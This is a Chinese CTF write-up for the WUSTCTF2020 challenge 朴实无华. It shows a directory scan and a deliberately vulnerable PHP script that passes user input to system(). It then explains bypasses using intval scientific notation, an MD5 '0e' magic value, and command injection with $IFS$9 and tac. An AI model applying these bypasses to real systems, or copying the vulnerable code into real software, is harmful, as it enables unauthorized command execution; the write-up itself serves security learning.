[WUSTCTF2020]朴实无华 1
进入环境,什么也没有得到,估计就是需要我们进行目录扫描了
用dirsearch
进行把爆破扫描
环境的问题,很多的环境在进行扫描的时候,如果访问过快,就会返回429 ,建议将线程数调小,否则会出现文件 429请况,影响结果
dirsearch.py -e bak,zip,tgz,txt -u https://target -t 30
我们尝试访问文件
访问 fAke_f1agggg.php
使用 bp抓包 查看情况
发现了新的文件,尝试访问
发现了朱一旦(不是)
发现php源码
不过是乱序,我们改变编码方式
(火狐) 点击 alt 在查看中修改文件编码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
代码审计
要进行三次绕过
intval() 函数用于获取变量的整数值。(强制转换)
第一个,要让 num<2020 num+1>2021
这里要用到 intval
如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值而对于科学计数法+数字则会返回字符串类型(只适用php7.0以下的版本)
所以我们可以构造:2e5
第二个,要求 本身和其MD5值相同
md5=0e215962017
第三个,我们进行绕过
?mun=2e5&md5=0e215962017&get_flag=ls
str_ireplace(find,replace,string,count)
str_ireplace() 函数替换字符串中的一些字符
参数 描述 find 必需。规定要查找的值。 replace 必需。规定替换 find 中的值的值。 string 必需。规定被搜索的字符串。 count 可选。一个变量,对替换数进行计数。 str_ireplace(“cat”, “wctf2020”, $ get_flag);
这里的cat被过滤掉了
strstr($ get_flag," ")
:用于判断字符串空格是否是$ get_flag的子串(过滤空格)
构造payload
/fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag